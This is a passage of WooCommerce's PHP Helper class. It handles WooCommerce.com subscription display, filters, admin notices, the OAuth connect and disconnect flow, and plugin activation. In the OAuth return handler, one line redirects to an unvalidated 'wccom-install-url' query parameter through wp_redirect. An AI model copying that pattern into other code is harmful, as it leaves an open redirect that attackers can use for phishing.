					'message'      => sprintf( __( 'This subscription has expired. Please <strong>renew</strong> to receive updates and support.', 'woocommerce' ) ),
					'button_label' => __( 'Renew', 'woocommerce' ),
					'button_url'   => 'https://woocommerce.com/my-account/my-subscriptions/',
					'status'       => 'expired',
					'icon'         => 'dashicons-info',
				);

				$subscription['actions'][] = $action;
			}

			if ( $subscription['expiring'] && ! $subscription['autorenew'] ) {
				$action = array(
					'message'      => __( 'Subscription is <strong>expiring</strong> soon.', 'woocommerce' ),
					'button_label' => __( 'Enable auto-renew', 'woocommerce' ),
					'button_url'   => 'https://woocommerce.com/my-account/my-subscriptions/',
					'status'       => 'expired',
					'icon'         => 'dashicons-info',
				);

				$subscription['download_primary'] = false;
				$subscription['actions'][]        = $action;
			} elseif ( $subscription['expiring'] ) {
				$action = array(
					'message'      => sprintf( __( 'This subscription is expiring soon. Please <strong>renew</strong> to continue receiving updates and support.', 'woocommerce' ) ),
					'button_label' => __( 'Renew', 'woocommerce' ),
					'button_url'   => 'https://woocommerce.com/my-account/my-subscriptions/',
					'status'       => 'expired',
					'icon'         => 'dashicons-info',
				);

				$subscription['download_primary'] = false;
				$subscription['actions'][]        = $action;
			}

			// Mark the first action primary.
			foreach ( $subscription['actions'] as $key => $action ) {
				if ( ! empty( $action['button_label'] ) ) {
					$subscription['actions'][ $key ]['primary'] = true;
					break;
				}
			}
		}

		// Break the by-ref.
		unset( $subscription );

		// Installed products without a subscription.
		$no_subscriptions = array();
		foreach ( array_merge( $woo_plugins, $woo_themes ) as $filename => $data ) {
			if ( in_array( $data['_product_id'], $subscriptions_product_ids ) ) {
				continue;
			}

			$data['_product_url'] = '#';
			$data['_has_update']  = false;

			if ( ! empty( $updates[ $data['_product_id'] ] ) ) {
				$data['_has_update'] = version_compare( $updates[ $data['_product_id'] ]['version'], $data['Version'], '>' );

				if ( ! empty( $updates[ $data['_product_id'] ]['url'] ) ) {
					$data['_product_url'] = $updates[ $data['_product_id'] ]['url'];
				} elseif ( ! empty( $data['PluginURI'] ) ) {
					$data['_product_url'] = $data['PluginURI'];
				}
			}

			$data['_actions'] = array();

			if ( $data['_has_update'] ) {
				$action = array(
					/* translators: %s: version number */
					'message'      => sprintf( __( 'Version %s is <strong>available</strong>. To enable this update you need to <strong>purchase</strong> a new subscription.', 'woocommerce' ), esc_html( $updates[ $data['_product_id'] ]['version'] ) ),
					'button_label' => __( 'Purchase', 'woocommerce' ),
					'button_url'   => $data['_product_url'],
					'status'       => 'expired',
					'icon'         => 'dashicons-info',
				);

				$data['_actions'][] = $action;
			} else {
				$action = array(
					/* translators: 1: subscriptions docs 2: subscriptions docs */
					'message'      => sprintf( __( 'To receive updates and support for this extension, you need to <strong>purchase</strong> a new subscription or consolidate your extensions to one connected account by <strong><a href="%1$s" title="Sharing Docs">sharing</a> or <a href="%2$s" title="Transferring Docs">transferring</a></strong> this extension to this connected account.', 'woocommerce' ), 'https://docs.woocommerce.com/document/managing-woocommerce-com-subscriptions/#section-10', 'https://docs.woocommerce.com/document/managing-woocommerce-com-subscriptions/#section-5' ),
					'button_label' => __( 'Purchase', 'woocommerce' ),
					'button_url'   => $data['_product_url'],
					'status'       => 'expired',
					'icon'         => 'dashicons-info',
				);

				$data['_actions'][] = $action;
			}

			$no_subscriptions[ $filename ] = $data;
		}

		// Update the user id if it came from a migrated connection.
		if ( empty( $auth['user_id'] ) ) {
			$auth['user_id'] = get_current_user_id();
			WC_Helper_Options::update( 'auth', $auth );
		}

		// Sort alphabetically.
		uasort( $subscriptions, array( __CLASS__, '_sort_by_product_name' ) );
		uasort( $no_subscriptions, array( __CLASS__, '_sort_by_name' ) );

		// Filters.
		self::get_filters_counts( $subscriptions ); // Warm it up.
		self::_filter( $subscriptions, self::get_current_filter() );

		// We have an active connection.
		include self::get_view_filename( 'html-main.php' );
		return;
	}

	/**
	 * Get available subscriptions filters.
	 *
	 * @return array An array of filter keys and labels.
	 */
	public static function get_filters() {
		$filters = array(
			'all'              => __( 'All', 'woocommerce' ),
			'active'           => __( 'Active', 'woocommerce' ),
			'inactive'         => __( 'Inactive', 'woocommerce' ),
			'installed'        => __( 'Installed', 'woocommerce' ),
			'update-available' => __( 'Update Available', 'woocommerce' ),
			'expiring'         => __( 'Expiring Soon', 'woocommerce' ),
			'expired'          => __( 'Expired', 'woocommerce' ),
			'download'         => __( 'Download', 'woocommerce' ),
		);

		return $filters;
	}

	/**
	 * Get counts data for the filters array.
	 *
	 * @param array $subscriptions The array of all available subscriptions.
	 *
	 * @return array Filter counts (filter => count).
	 */
	public static function get_filters_counts( $subscriptions = null ) {
		static $filters;

		if ( isset( $filters ) ) {
			return $filters;
		}

		$filters = array_fill_keys( array_keys( self::get_filters() ), 0 );
		if ( empty( $subscriptions ) ) {
			return array();
		}

		foreach ( $filters as $key => $count ) {
			$_subs = $subscriptions;
			self::_filter( $_subs, $key );
			$filters[ $key ] = count( $_subs );
		}

		return $filters;
	}

	/**
	 * Get current filter.
	 *
	 * @return string The current filter.
	 */
	public static function get_current_filter() {
		$current_filter = 'all';
		$valid_filters  = array_keys( self::get_filters() );

		if ( ! empty( $_GET['filter'] ) && in_array( wp_unslash( $_GET['filter'] ), $valid_filters ) ) {
			$current_filter = wc_clean( wp_unslash( $_GET['filter'] ) );
		}

		return $current_filter;
	}

	/**
	 * Filter an array of subscriptions by $filter.
	 *
	 * @param array  $subscriptions The subscriptions array, passed by ref.
	 * @param string $filter The filter.
	 */
	private static function _filter( &$subscriptions, $filter ) {
		switch ( $filter ) {
			case 'active':
				$subscriptions = wp_list_filter( $subscriptions, array( 'active' => true ) );
				break;

			case 'inactive':
				$subscriptions = wp_list_filter( $subscriptions, array( 'active' => false ) );
				break;

			case 'installed':
				foreach ( $subscriptions as $key => $subscription ) {
					if ( empty( $subscription['local']['installed'] ) ) {
						unset( $subscriptions[ $key ] );
					}
				}
				break;

			case 'update-available':
				$subscriptions = wp_list_filter( $subscriptions, array( 'has_update' => true ) );
				break;

			case 'expiring':
				$subscriptions = wp_list_filter( $subscriptions, array( 'expiring' => true ) );
				break;

			case 'expired':
				$subscriptions = wp_list_filter( $subscriptions, array( 'expired' => true ) );
				break;

			case 'download':
				foreach ( $subscriptions as $key => $subscription ) {
					if ( $subscription['local']['installed'] || $subscription['expired'] ) {
						unset( $subscriptions[ $key ] );
					}
				}
				break;
		}
	}

	/**
	 * Enqueue admin scripts and styles.
	 */
	public static function admin_enqueue_scripts() {
		$screen       = get_current_screen();
		$screen_id    = $screen ? $screen->id : '';
		$wc_screen_id = sanitize_title( __( 'WooCommerce', 'woocommerce' ) );

		if ( $wc_screen_id . '_page_wc-addons' === $screen_id && isset( $_GET['section'] ) && 'helper' === $_GET['section'] ) {
			wp_enqueue_style( 'woocommerce-helper', WC()->plugin_url() . '/assets/css/helper.css', array(), Constants::get_constant( 'WC_VERSION' ) );
			wp_style_add_data( 'woocommerce-helper', 'rtl', 'replace' );
		}
	}

	/**
	 * Various success/error notices.
	 *
	 * Runs during admin page render, so no headers/redirects here.
	 *
	 * @return array Array pairs of message/type strings with notices.
	 */
	private static function _get_return_notices() {
		$return_status = isset( $_GET['wc-helper-status'] ) ? wc_clean( wp_unslash( $_GET['wc-helper-status'] ) ) : null;
		$notices       = array();

		switch ( $return_status ) {
			case 'activate-success':
				$product_id   = isset( $_GET['wc-helper-product-id'] ) ? absint( $_GET['wc-helper-product-id'] ) : 0;
				$subscription = self::_get_subscriptions_from_product_id( $product_id );
				$notices[]    = array(
					'type'    => 'updated',
					'message' => sprintf(
						/* translators: %s: product name */
						__( '%s activated successfully. You will now receive updates for this product.', 'woocommerce' ),
						'<strong>' . esc_html( $subscription['product_name'] ) . '</strong>'
					),
				);
				break;

			case 'activate-error':
				$product_id   = isset( $_GET['wc-helper-product-id'] ) ? absint( $_GET['wc-helper-product-id'] ) : 0;
				$subscription = self::_get_subscriptions_from_product_id( $product_id );
				$notices[]    = array(
					'type'    => 'error',
					'message' => sprintf(
						/* translators: %s: product name */
						__( 'An error has occurred when activating %s. Please try again later.', 'woocommerce' ),
						'<strong>' . esc_html( $subscription['product_name'] ) . '</strong>'
					),
				);
				break;

			case 'deactivate-success':
				$product_id   = isset( $_GET['wc-helper-product-id'] ) ? absint( $_GET['wc-helper-product-id'] ) : 0;
				$subscription = self::_get_subscriptions_from_product_id( $product_id );
				$local        = self::_get_local_from_product_id( $product_id );

				$message = sprintf(
					/* translators: %s: product name */
					__( 'Subscription for %s deactivated successfully. You will no longer receive updates for this product.', 'woocommerce' ),
					'<strong>' . esc_html( $subscription['product_name'] ) . '</strong>'
				);

				if ( $local && is_plugin_active( $local['_filename'] ) && current_user_can( 'activate_plugins' ) ) {
					$deactivate_plugin_url = add_query_arg(
						array(
							'page'                        => 'wc-addons',
							'section'                     => 'helper',
							'filter'                      => self::get_current_filter(),
							'wc-helper-deactivate-plugin' => 1,
							'wc-helper-product-id'        => $subscription['product_id'],
							'wc-helper-nonce'             => wp_create_nonce( 'deactivate-plugin:' . $subscription['product_id'] ),
						),
						admin_url( 'admin.php' )
					);

					$message = sprintf(
						/* translators: %1$s: product name, %2$s: deactivate url */
						__( 'Subscription for %1$s deactivated successfully. You will no longer receive updates for this product. <a href="%2$s">Click here</a> if you wish to deactivate the plugin as well.', 'woocommerce' ),
						'<strong>' . esc_html( $subscription['product_name'] ) . '</strong>',
						esc_url( $deactivate_plugin_url )
					);
				}

				$notices[] = array(
					'message' => $message,
					'type'    => 'updated',
				);
				break;

			case 'deactivate-error':
				$product_id   = isset( $_GET['wc-helper-product-id'] ) ? absint( $_GET['wc-helper-product-id'] ) : 0;
				$subscription = self::_get_subscriptions_from_product_id( $product_id );
				$notices[]    = array(
					'type'    => 'error',
					'message' => sprintf(
						/* translators: %s: product name */
						__( 'An error has occurred when deactivating the subscription for %s. Please try again later.', 'woocommerce' ),
						'<strong>' . esc_html( $subscription['product_name'] ) . '</strong>'
					),
				);
				break;

			case 'deactivate-plugin-success':
				$product_id   = isset( $_GET['wc-helper-product-id'] ) ? absint( $_GET['wc-helper-product-id'] ) : 0;
				$subscription = self::_get_subscriptions_from_product_id( $product_id );
				$notices[]    = array(
					'type'    => 'updated',
					'message' => sprintf(
						/* translators: %s: product name */
						__( 'The extension %s has been deactivated successfully.', 'woocommerce' ),
						'<strong>' . esc_html( $subscription['product_name'] ) . '</strong>'
					),
				);
				break;

			case 'deactivate-plugin-error':
				$product_id   = isset( $_GET['wc-helper-product-id'] ) ? absint( $_GET['wc-helper-product-id'] ) : 0;
				$subscription = self::_get_subscriptions_from_product_id( $product_id );
				$notices[]    = array(
					'type'    => 'error',
					'message' => sprintf(
						/* translators: %1$s: product name, %2$s: plugins screen url */
						__( 'An error has occurred when deactivating the extension %1$s. Please proceed to the <a href="%2$s">Plugins screen</a> to deactivate it manually.', 'woocommerce' ),
						'<strong>' . esc_html( $subscription['product_name'] ) . '</strong>',
						admin_url( 'plugins.php' )
					),
				);
				break;

			case 'helper-connected':
				$notices[] = array(
					'message' => __( 'You have successfully connected your store to WooCommerce.com', 'woocommerce' ),
					'type'    => 'updated',
				);
				break;

			case 'helper-disconnected':
				$notices[] = array(
					'message' => __( 'You have successfully disconnected your store from WooCommerce.com', 'woocommerce' ),
					'type'    => 'updated',
				);
				break;

			case 'helper-refreshed':
				$notices[] = array(
					'message' => __( 'Authentication and subscription caches refreshed successfully.', 'woocommerce' ),
					'type'    => 'updated',
				);
				break;
		}

		return $notices;
	}

	/**
	 * Various early-phase actions with possible redirects.
	 *
	 * @param object $screen WP screen object.
	 */
	public static function current_screen( $screen ) {
		$wc_screen_id = sanitize_title( __( 'WooCommerce', 'woocommerce' ) );

		if ( $wc_screen_id . '_page_wc-addons' !== $screen->id ) {
			return;
		}

		if ( empty( $_GET['section'] ) || 'helper' !== $_GET['section'] ) {
			return;
		}

		if ( ! empty( $_GET['wc-helper-connect'] ) ) {
			return self::_helper_auth_connect();
		}

		if ( ! empty( $_GET['wc-helper-return'] ) ) {
			return self::_helper_auth_return();
		}

		if ( ! empty( $_GET['wc-helper-disconnect'] ) ) {
			return self::_helper_auth_disconnect();
		}

		if ( ! empty( $_GET['wc-helper-refresh'] ) ) {
			return self::_helper_auth_refresh();
		}

		if ( ! empty( $_GET['wc-helper-activate'] ) ) {
			return self::_helper_subscription_activate();
		}

		if ( ! empty( $_GET['wc-helper-deactivate'] ) ) {
			return self::_helper_subscription_deactivate();
		}

		if ( ! empty( $_GET['wc-helper-deactivate-plugin'] ) ) {
			return self::_helper_plugin_deactivate();
		}
	}

	/**
	 * Initiate a new OAuth connection.
	 */
	private static function _helper_auth_connect() {
		if ( empty( $_GET['wc-helper-nonce'] ) || ! wp_verify_nonce( wp_unslash( $_GET['wc-helper-nonce'] ), 'connect' ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
			self::log( 'Could not verify nonce in _helper_auth_connect' );
			wp_die( 'Could not verify nonce' );
		}

		$redirect_uri = add_query_arg(
			array(
				'page'             => 'wc-addons',
				'section'          => 'helper',
				'wc-helper-return' => 1,
				'wc-helper-nonce'  => wp_create_nonce( 'connect' ),
			),
			admin_url( 'admin.php' )
		);

		$request = WC_Helper_API::post(
			'oauth/request_token',
			array(
				'body' => array(
					'home_url'     => home_url(),
					'redirect_uri' => $redirect_uri,
				),
			)
		);

		$code = wp_remote_retrieve_response_code( $request );

		if ( 200 !== $code ) {
			self::log( sprintf( 'Call to oauth/request_token returned a non-200 response code (%d)', $code ) );
			wp_die( 'Something went wrong' );
		}

		$secret = json_decode( wp_remote_retrieve_body( $request ) );
		if ( empty( $secret ) ) {
			self::log( sprintf( 'Call to oauth/request_token returned an invalid body: %s', wp_remote_retrieve_body( $request ) ) );
			wp_die( 'Something went wrong' );
		}

		/**
		 * Fires when the Helper connection process is initiated.
		 */
		do_action( 'woocommerce_helper_connect_start' );

		$connect_url = add_query_arg(
			array(
				'home_url'     => rawurlencode( home_url() ),
				'redirect_uri' => rawurlencode( $redirect_uri ),
				'secret'       => rawurlencode( $secret ),
			),
			WC_Helper_API::url( 'oauth/authorize' )
		);

		wp_redirect( esc_url_raw( $connect_url ) );
		die();
	}

	/**
	 * Return from WooCommerce.com OAuth flow.
	 */
	private static function _helper_auth_return() {
		if ( empty( $_GET['wc-helper-nonce'] ) || ! wp_verify_nonce( wp_unslash( $_GET['wc-helper-nonce'] ), 'connect' ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
			self::log( 'Could not verify nonce in _helper_auth_return' );
			wp_die( 'Something went wrong' );
		}

		// Bail if the user clicked deny.
		if ( ! empty( $_GET['deny'] ) ) {
			/**
			 * Fires when the Helper connection process is denied/cancelled.
			 */
			do_action( 'woocommerce_helper_denied' );
			wp_safe_redirect( admin_url( 'admin.php?page=wc-addons&section=helper' ) );
			die();
		}

		// We do need a request token...
		if ( empty( $_GET['request_token'] ) ) {
			self::log( 'Request token not found in _helper_auth_return' );
			wp_die( 'Something went wrong' );
		}

		// Obtain an access token.
		$request = WC_Helper_API::post(
			'oauth/access_token',
			array(
				'body' => array(
					'request_token' => wp_unslash( $_GET['request_token'] ), // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
					'home_url'      => home_url(),
				),
			)
		);

		$code = wp_remote_retrieve_response_code( $request );

		if ( 200 !== $code ) {
			self::log( sprintf( 'Call to oauth/access_token returned a non-200 response code (%d)', $code ) );
			wp_die( 'Something went wrong' );
		}

		$access_token = json_decode( wp_remote_retrieve_body( $request ), true );
		if ( ! $access_token ) {
			self::log( sprintf( 'Call to oauth/access_token returned an invalid body: %s', wp_remote_retrieve_body( $request ) ) );
			wp_die( 'Something went wrong' );
		}

		WC_Helper_Options::update(
			'auth',
			array(
				'access_token'        => $access_token['access_token'],
				'access_token_secret' => $access_token['access_token_secret'],
				'site_id'             => $access_token['site_id'],
				'user_id'             => get_current_user_id(),
				'updated'             => time(),
			)
		);

		// Obtain the connected user info.
		if ( ! self::_flush_authentication_cache() ) {
			self::log( 'Could not obtain connected user info in _helper_auth_return' );
			WC_Helper_Options::update( 'auth', array() );
			wp_die( 'Something went wrong.' );
		}

		self::_flush_subscriptions_cache();
		self::_flush_updates_cache();

		/**
		 * Fires when the Helper connection process has completed successfully.
		 */
		do_action( 'woocommerce_helper_connected' );

		// Enable tracking when connected.
		if ( class_exists( 'WC_Tracker' ) ) {
			update_option( 'woocommerce_allow_tracking', 'yes' );
			WC_Tracker::send_tracking_data( true );
		}

		// If connecting through in-app purchase, redirects back to WooCommerce.com
		// for product installation.
		if ( ! empty( $_GET['wccom-install-url'] ) ) {
			wp_redirect( wp_unslash( $_GET['wccom-install-url'] ) );
			exit;
		}

		wp_safe_redirect(
			add_query_arg(
				array(
					'page'             => 'wc-addons',
					'section'          => 'helper',
					'wc-helper-status' => 'helper-connected',
				),
				admin_url( 'admin.php' )
			)
		);
		die();
	}

	/**
	 * Disconnect from WooCommerce.com, clear OAuth tokens.
	 */
	private static function _helper_auth_disconnect() {
		if ( empty( $_GET['wc-helper-nonce'] ) || ! wp_verify_nonce( wp_unslash( $_GET['wc-helper-nonce'] ), 'disconnect' ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
			self::log( 'Could not verify nonce in _helper_auth_disconnect' );
			wp_die( 'Could not verify nonce' );
		}

		/**
		 * Fires when the Helper has been disconnected.
		 */
		do_action( 'woocommerce_helper_disconnected' );

		$redirect_uri = add_query_arg(
			array(
				'page'             => 'wc-addons',
				'section'          => 'helper',
				'wc-helper-status' => 'helper-disconnected',
			),
			admin_url( 'admin.php' )
		);

		WC_Helper_API::post(
			'oauth/invalidate_token',
			array(
				'authenticated' => true,
			)
		);

		WC_Helper_Options::update( 'auth', array() );
		WC_Helper_Options::update( 'auth_user_data', array() );

		self::_flush_subscriptions_cache();
		self::_flush_updates_cache();

		wp_safe_redirect( $redirect_uri );
		die();
	}

	/**
	 * User hit the Refresh button, clear all caches.
	 */
	private static function _helper_auth_refresh() {
		if ( empty( $_GET['wc-helper-nonce'] ) || ! wp_verify_nonce( wp_unslash( $_GET['wc-helper-nonce'] ), 'refresh' ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
			self::log( 'Could not verify nonce in _helper_auth_refresh' );
			wp_die( 'Could not verify nonce' );
		}

		/**
		 * Fires when Helper subscriptions are refreshed.
		 */
		do_action( 'woocommerce_helper_subscriptions_refresh' );

		$redirect_uri = add_query_arg(
			array(
				'page'             => 'wc-addons',
				'section'          => 'helper',
				'filter'           => self::get_current_filter(),
				'wc-helper-status' => 'helper-refreshed',
			),
			admin_url( 'admin.php' )
		);

		self::_flush_authentication_cache();
		self::_flush_subscriptions_cache();
		self::_flush_updates_cache();

		wp_safe_redirect( $redirect_uri );
		die();
	}

	/**
	 * Active a product subscription.
	 */
	private static function _helper_subscription_activate() {
		$product_key = isset( $_GET['wc-helper-product-key'] ) ? wc_clean( wp_unslash( $_GET['wc-helper-product-key'] ) ) : '';
		$product_id  = isset( $_GET['wc-helper-product-id'] ) ? absint( $_GET['wc-helper-product-id'] ) : 0;

		if ( empty( $_GET['wc-helper-nonce'] ) || ! wp_verify_nonce( wp_unslash( $_GET['wc-helper-nonce'] ), 'activate:' . $product_key ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
			self::log( 'Could not verify nonce in _helper_subscription_activate' );
			wp_die( 'Could not verify nonce' );
		}

		// Activate subscription.
		$activation_response = WC_Helper_API::post(
			'activate',
			array(
				'authenticated' => true,
				'body'          => wp_json_encode(
					array(
						'product_key' => $product_key,
					)
				),
			)
		);

		$activated = wp_remote_retrieve_response_code( $activation_response ) === 200;
		$body      = json_decode( wp_remote_retrieve_body( $activation_response ), true );

		if ( ! $activated && ! empty( $body['code'] ) && 'already_connected' === $body['code'] ) {
			$activated = true;
		}

		if ( $activated ) {
			/**
			 * Fires when the Helper activates a product successfully.
			 *
			 * @param int    $product_id Product ID being activated.
			 * @param string $product_key Subscription product key.
			 * @param array  $activation_response The response object from wp_safe_remote_request().
			 */
			do_action( 'woocommerce_helper_subscription_activate_success', $product_id, $product_key, $activation_response );
		} else {
			/**
			 * Fires when the Helper fails to activate a product.
			 *
			 * @param int    $product_id Product ID being activated.
			 * @param string $product_key Subscription product key.
			 * @param array  $activation_response The response object from wp_safe_remote_request().
			 */
			do_action( 'woocommerce_helper_subscription_activate_error', $product_id, $product_key, $activation_response );
		}

		// Attempt to activate this plugin.
		$local = self::_get_local_from_product_id( $product_id );
		if ( $local && 'plugin' == $local['_type'] && current_user_can( 'activate_plugins' ) && ! is_plugin_active( $local['_filename'] ) ) {
			activate_plugin( $local['_filename'] );
		}

		self::_flush_subscriptions_cache();
		self::_flush_updates_cache();

		$redirect_uri = add_query_arg(
			array(
				'page'                 => 'wc-addons',
				'section'              => 'helper',
				'filter'               => self::get_current_filter(),
				'wc-helper-status'     => $activated ? 'activate-success' : 'activate-error',
				'wc-helper-product-id' => $product_id,
			),
			admin_url( 'admin.php' )
		);

		wp_safe_redirect( $redirect_uri );
		die();
	}

	/**
	 * Deactivate a product subscription.
	 */
	private static function _helper_subscription_deactivate() {
		$product_key = isset( $_GET['wc-helper-product-key'] ) ? wc_clean( wp_unslash( $_GET['wc-helper-product-key'] ) ) : '';
		$product_id  = isset( $_GET['wc-helper-product-id'] ) ? absint( $_GET['wc-helper-product-id'] ) : 0;

		if ( empty( $_GET['wc-helper-nonce'] ) || ! wp_verify_nonce( wp_unslash( $_GET['wc-helper-nonce'] ), 'deactivate:' . $product_key ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
			self::log( 'Could not verify nonce in _helper_subscription_deactivate' );
			wp_die( 'Could not verify nonce' );
		}

		$deactivation_response = WC_Helper_API::post(
			'deactivate',
			array(
				'authenticated' => true,
				'body'          => wp_json_encode(
					array(
						'product_key' => $product_key,
					)
				),
			)
		);

		$code        = wp_remote_retrieve_response_code( $deactivation_response );
		$deactivated = 200 === $code;

		if ( $deactivated ) {
			/**
			 * Fires when the Helper activates a product successfully.
			 *
			 * @param int    $product_id Product ID being deactivated.
			 * @param string $product_key Subscription product key.
			 * @param array  $deactivation_response The response object from wp_safe_remote_request().
			 */
			do_action( 'woocommerce_helper_subscription_deactivate_success', $product_id, $product_key, $deactivation_response );
		} else {
			self::log( sprintf( 'Deactivate API call returned a non-200 response code (%d)', $code ) );

			/**
			 * Fires when the Helper fails to activate a product.
			 *
			 * @param int    $product_id Product ID being deactivated.
			 * @param string $product_key Subscription product key.
			 * @param array  $deactivation_response The response object from wp_safe_remote_request().
			 */
			do_action( 'woocommerce_helper_subscription_deactivate_error', $product_id, $product_key, $deactivation_response );
		}

		self::_flush_subscriptions_cache();

		$redirect_uri = add_query_arg(
			array(
				'page'                 => 'wc-addons',
				'section'              => 'helper',
				'filter'               => self::get_current_filter(),
				'wc-helper-status'     => $deactivated ? 'deactivate-success' : 'deactivate-error',
				'wc-helper-product-id' => $product_id,
			),
			admin_url( 'admin.php' )
		);

		wp_safe_redirect( $redirect_uri );
		die();
	}

	/**
	 * Deactivate a plugin.
	 */
	private static function _helper_plugin_deactivate() {
		$product_id  = isset( $_GET['wc-helper-product-id'] ) ? absint( $_GET['wc-helper-product-id'] ) : 0;
		$deactivated = false;

		if ( empty( $_GET['wc-helper-nonce'] ) || ! wp_verify_nonce( wp_unslash( $_GET['wc-helper-nonce'] ), 'deactivate-plugin:' . $product_id ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
			self::log( 'Could not verify nonce in _helper_plugin_deactivate' );
			wp_die( 'Could not verify nonce' );
		}

		if ( ! current_user_can( 'activate_plugins' ) ) {
			wp_die( 'You are not allowed to manage plugins on this site.' );
		}

		$local = wp_list_filter(
			array_merge(
				self::get_local_woo_plugins(),
				self::get_local_woo_themes()
			),
			array( '_product_id' => $product_id )
		);

		// Attempt to deactivate this plugin or theme.
		if ( ! empty( $local ) ) {
			$local = array_shift( $local );
			if ( is_plugin_active( $local['_filename'] ) ) {
				deactivate_plugins( $local['_filename'] );
			}

			$deactivated = ! is_plugin_active( $local['_filename'] );
		}

		$redirect_uri = add_query_arg(
			array(
				'page'                 => 'wc-addons',
				'section'              => 'helper',
				'filter'               => self::get_current_filter(),
				'wc-helper-status'     => $deactivated ? 'deactivate-plugin-success' : 'deactivate-plugin-error',
				'wc-helper-product-id' => $product_id,
			),
			admin_url( 'admin.php' )
		);

		wp_safe_redirect( $redirect_uri );
		die();
	}

	/**
	 * Get a local plugin/theme entry from product_id.
	 *
	 * @param int $product_id The product id.
	 *
	 * @return array|bool The array containing the local plugin/theme data or false.
	 */
	private static function _get_local_from_product_id( $product_id ) {
		$local = wp_list_filter(
			array_merge(
				self::get_local_woo_plugins(),
				self::get_local_woo_themes()
			),
			array( '_product_id' => $product_id )
		);

		if ( ! empty( $local ) ) {
			return array_shift( $local );
		}

		return false;
	}

	/**
	 * Checks whether current site has product subscription of a given ID.
	 *
	 * @since 3.7.0
	 *
	 * @param int $product_id The product id.
	 *
	 * @return bool Returns true if product subscription exists, false otherwise.
	 */
	public static function has_product_subscription( $product_id ) {
		$subscription = self::_get_subscriptions_from_product_id( $product_id, true );
		return ! empty( $subscription );
	}

	/**
	 * Get a subscription entry from product_id. If multiple subscriptions are
	 * found with the same product id and $single is set to true, will return the
	 * first one in the list, so you can use this method to get things like extension
	 * name, version, etc.
	 *
	 * @param int  $product_id The product id.
	 * @param bool $single Whether to return a single subscription or all matching a product id.
	 *
	 * @return array|bool The array containing sub data or false.
	 */
	private static function _get_subscriptions_from_product_id( $product_id, $single = true ) {
		$subscriptions = wp_list_filter( self::get_subscriptions(), array( 'product_id' => $product_id ) );
		if ( ! empty( $subscriptions ) ) {
			return $single ? array_shift( $subscriptions ) : $subscriptions;
		}

		return false;
	}

	/**
	 * Obtain a list of data about locally installed Woo extensions.
	 */
	public static function get_local_woo_plugins() {
		if ( ! function_exists( 'get_plugins' ) ) {
			require_once ABSPATH . 'wp-admin/includes/plugin.php';
		}

		$plugins = get_plugins();

		/**
		 * Check if plugins have WC headers, if not then clear cache and fetch again.
		 * WC Headers will not be present if `wc_enable_wc_plugin_headers` hook was added after a `get_plugins` call -- for example when WC is activated/updated.
		 * Also, get_plugins call is expensive so we should clear this cache very conservatively.
		 */
		if ( ! empty( $plugins ) && ! array_key_exists( 'Woo', current( $plugins ) ) ) {
			wp_clean_plugins_cache( false );
			$plugins = get_plugins();
		}

		$woo_plugins = array();

		// Backwards compatibility for woothemes_queue_update().
		$_compat = array();
		if ( ! empty( $GLOBALS['woothemes_queued_updates'] ) ) {
			foreach ( $GLOBALS['woothemes_queued_updates'] as $_compat_plugin ) {
				$_compat[ $_compat_plugin->file ] = array(
					'product_id' => $_compat_plugin->product_id,
					'file_id'    => $_compat_plugin->file_id,
				);
			}
		}

		foreach ( $plugins as $filename => $data ) {
			if ( empty( $data['Woo'] ) && ! empty( $_compat[ $filename ] ) ) {
				$data['Woo'] = sprintf( '%d:%s', $_compat[ $filename ]['product_id'], $_compat[ $filename ]['file_id'] );
			}

			if ( empty( $data['Woo'] ) ) {
				continue;
			}

			list( $product_id, $file_id ) = explode( ':', $data['Woo'] );
			if ( empty( $product_id ) || empty( $file_id ) ) {
				continue;
			}

			$data['_filename']        = $filename;
			$data['_product_id']      = absint( $product_id );
			$data['_file_id']         = $file_id;
			$data['_type']            = 'plugin';
			$data['slug']             = dirname( $filename );
			$woo_plugins[ $filename ] = $data;
		}

		return $woo_plugins;
	}

	/**
	 * Get locally installed Woo themes.
	 */
	public static function get_local_woo_themes() {
		$themes     = wp_get_themes();
		$woo_themes = array();

		foreach ( $themes as $theme ) {
			$header = $theme->get( 'Woo' );

			// Backwards compatibility for theme_info.txt.
			if ( ! $header ) {
				$txt = $theme->get_stylesheet_directory() . '/theme_info.txt';
				if ( is_readable( $txt ) ) {
					$txt = file_get_contents( $txt );
					$txt = preg_split( '#\s#', $txt );
					if ( count( $txt ) >= 2 ) {
						$header = sprintf( '%d:%s', $txt[0], $txt[1] );
					}
				}
			}

			if ( empty( $header ) ) {
				continue;
			}

			list( $product_id, $file_id ) = explode( ':', $header );
			if ( empty( $product_id ) || empty( $file_id ) ) {
				continue;
			}

			$data = array(
				'Name'        => $theme->get( 'Name' ),
				'Version'     => $theme->get( 'Version' ),
				'Woo'         => $header,

				'_filename'   => $theme->get_stylesheet() . '/style.css',
				'_stylesheet' => $theme->get_stylesheet(),
				'_product_id' => absint( $product_id ),
				'_file_id'    => $file_id,
				'_type'       => 'theme',
			);

			$woo_themes[ $data['_filename'] ] = $data;
		}

		return $woo_themes;
	}

	/**
	 * Get the connected user's subscriptions.
	 *
	 * @return array
	 */
	public static function get_subscriptions() {
		$cache_key = '_woocommerce_helper_subscriptions';
		$data      = get_transient( $cache_key );
		if ( false !== $data ) {
			return $data;
		}

		// Obtain the connected user info.
		$request = WC_Helper_API::get(
			'subscriptions',
			array(
				'authenticated' => true,
			)
		);

		if ( wp_remote_retrieve_response_code( $request ) !== 200 ) {
			set_transient( $cache_key, array(), 15 * MINUTE_IN_SECONDS );
			return array();
		}

		$data = json_decode( wp_remote_retrieve_body( $request ), true );
		if ( empty( $data ) || ! is_array( $data ) ) {
			$data = array();
		}

		set_transient( $cache_key, $data, 1 * HOUR_IN_SECONDS );
		return $data;
	}

	/**
	 * Runs when any plugin is activated.
	 *
	 * Depending on the activated plugin attempts to look through available
	 * subscriptions and auto-activate one if possible, so the user does not
	 * need to visit the Helper UI at all after installing a new extension.
	 *
	 * @param string $filename The filename of the activated plugin.
	 */
	public static function activated_plugin( $filename ) {
